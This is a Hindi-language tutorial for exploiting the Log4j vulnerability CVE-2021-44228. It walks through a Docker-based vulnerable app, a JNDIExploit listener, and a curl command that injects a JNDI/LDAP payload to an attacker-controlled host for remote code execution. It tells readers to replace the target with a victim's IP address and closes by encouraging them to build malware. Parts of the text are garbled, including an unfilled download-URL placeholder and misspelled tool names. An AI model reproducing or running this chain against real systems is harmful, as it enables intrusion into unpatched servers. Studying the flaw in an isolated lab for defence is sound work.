
Log4j CVE-2021-44228 का शोषण करने के लिए चरण-दर-चरण ट्यूटोरियल, जिसमें Docker-आधारित संवेदनशील ऐप, JNDIExploit लिसनर, और दूरस्थ कोड निष्पादन के लिए LDAP पेलोड इंजेक्शन शामिल है।

Java लॉगिंग लाइब्रेरी Log4j से संबंधित एक रिमोट कोड एक्ज़ीक्यूशन कमजोरी पाई गई है।
CVE-2021-44228 इस कमजोरी ने वैश्विक साइबर समुदाय में हलचल मचा दी है, Wannacry के बाद से हमने ऐसा प्रभाव नहीं देखा है।
Java में लिखे गए अधिकांश ऐप प्रभावित और कमजोर माने जाते हैं, विशेष रूप से Apache फ्रेमवर्क जिनमें Apache Struts2, Apache Solr, Apache Druid, और Apache Flink शामिल हैं। इसके अलावा, ElasticSearch, Flume, Logstash, Kafka, Netty, MyBatis, और Spring-Boot-starter-log4j भी कमजोर हैं। इंटरनेट के कुछ सबसे लोकप्रिय उत्पाद और सेवाएँ - जिनमें Apple iCloud, Amazon, Steam और Twitter शामिल हैं - इन फ्रेमवर्क पर निर्भर हैं। ऐसा माना जाता है कि इसमें बड़ी संख्या में एंटरप्राइज़ और साइबर सुरक्षा अनुप्रयोग भी शामिल हैं।
Radware (लगातार अनुकूली रीयल-टाइम DDoS सेवाएँ) ने कहा कि केवल वही सॉफ्टवेयर प्रभावित है जो log4j संदेश लुकअप प्रतिस्थापन को सक्षम और उपयोग करता है। संस्करण 2.15.0 से, संदेश लुकअप प्रतिस्थापन डिफ़ॉल्ट रूप से अक्षम है, जिसके कारण पैचिंग आवश्यक है। Log4j 2 संस्करण 2.0-beta9 से 2.14.1 तक सभी कमजोर और शोषणीय हैं।


सबसे पहले, यह गाइड काली लिनक्स वीएम के साथ काम करने और अगले कमांड में जावा लिसनर चलाने के लिए संगत है, जैसा कि वीडियो गाइड में बाईं ओर दिखाया गया है। डॉकर कमजोरी-एप्लिकेशन बनाकर शुरू करें और फिर इसे चलाएँ। तो चलिए ऐसा करते हैं।
docker build . -t vulnerable-appअगला कदम, वास्तव में कमजोर-ऐप को चलाना है, जो तैनात किया गया है।
*तो, अगला कमांड:
docker run -p 8080:8080 --name vulnerable-app vulnerable-app
और अब स्प्रिंग स्क्रिप्ट को वीडियो गाइड की तरह चलना चाहिए।
अब LDAP सर्वर की फिंगरप्रिंट प्राप्त करने के लिए हमें केवल LDAP लिंक बनाने की आवश्यकता है और हमने किया, पहले शोषण टूल_JNdIExploit-1.2 डाउनलोड करें। JNDIExploit डाउनलोड करने का URL GitHub द्वारा हटा दिया गया है, आर्काइव से डाउनलोड करने के लिए (नीचे URL)। आर्काइव से डाउनलोड करने के लिए अगला URL प्राप्त करें JNDIExploitArchiveUrl
तो, चलिए ऐसा करते हैं
JNDIExploit को अनज़िप करें।
जावा लिसनर चलाएँ: java -jar JNDIExploit.v1.2-SNAPSHOT.jar -i "अपने_IP-पते_से_बदलें" -p 8888.
नोट: "अपने IP-addr से बदलें" हटाएँ और अपना IP लिसनर दर्ज करें। (कोष्ठक शामिल नहीं हैं)।
शोषण को ट्रिगर करने का अगला कदम, अगला कमांड चलाएँ:
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://"ip-addr":1389/Basic/Command/Base64/aGVsbG8td29ybGQ=}'
नोट: "ip-addr" को अपने स्थानीय IP से बदलें जो जावा के माध्यम से सुन रहा है और 127.0.0.1 को पीड़ित के ip-addr से भी बदलें, और यह अंत है, आपको बेस64 के माध्यम से hello-world स्ट्रिंग प्राप्त होगी। इस तरह आप कोई भी हेरफेर कर सकते हैं। अधिक तकनीकों की खोज की गई है जिनका उपयोग किया जा सकता है, mincraft, burgsuite टूल के माध्यम से कंप्यूटर में खुली सेवाओं पर हेरफेर कर सकते हैं, आदि, इसकी कल्पना करें - उत्पादक मोड में आएँ और अपनी सुधार क्षमता बढ़ाएँ, अगला मैलवेयर बनाएँ।
बेस64 स्ट्रिंग (hello-world) को LDAP सर्वर के माध्यम से क्वेरी चलाने के लिए संगत JS कोड निष्पादन से बदल सकते हैं।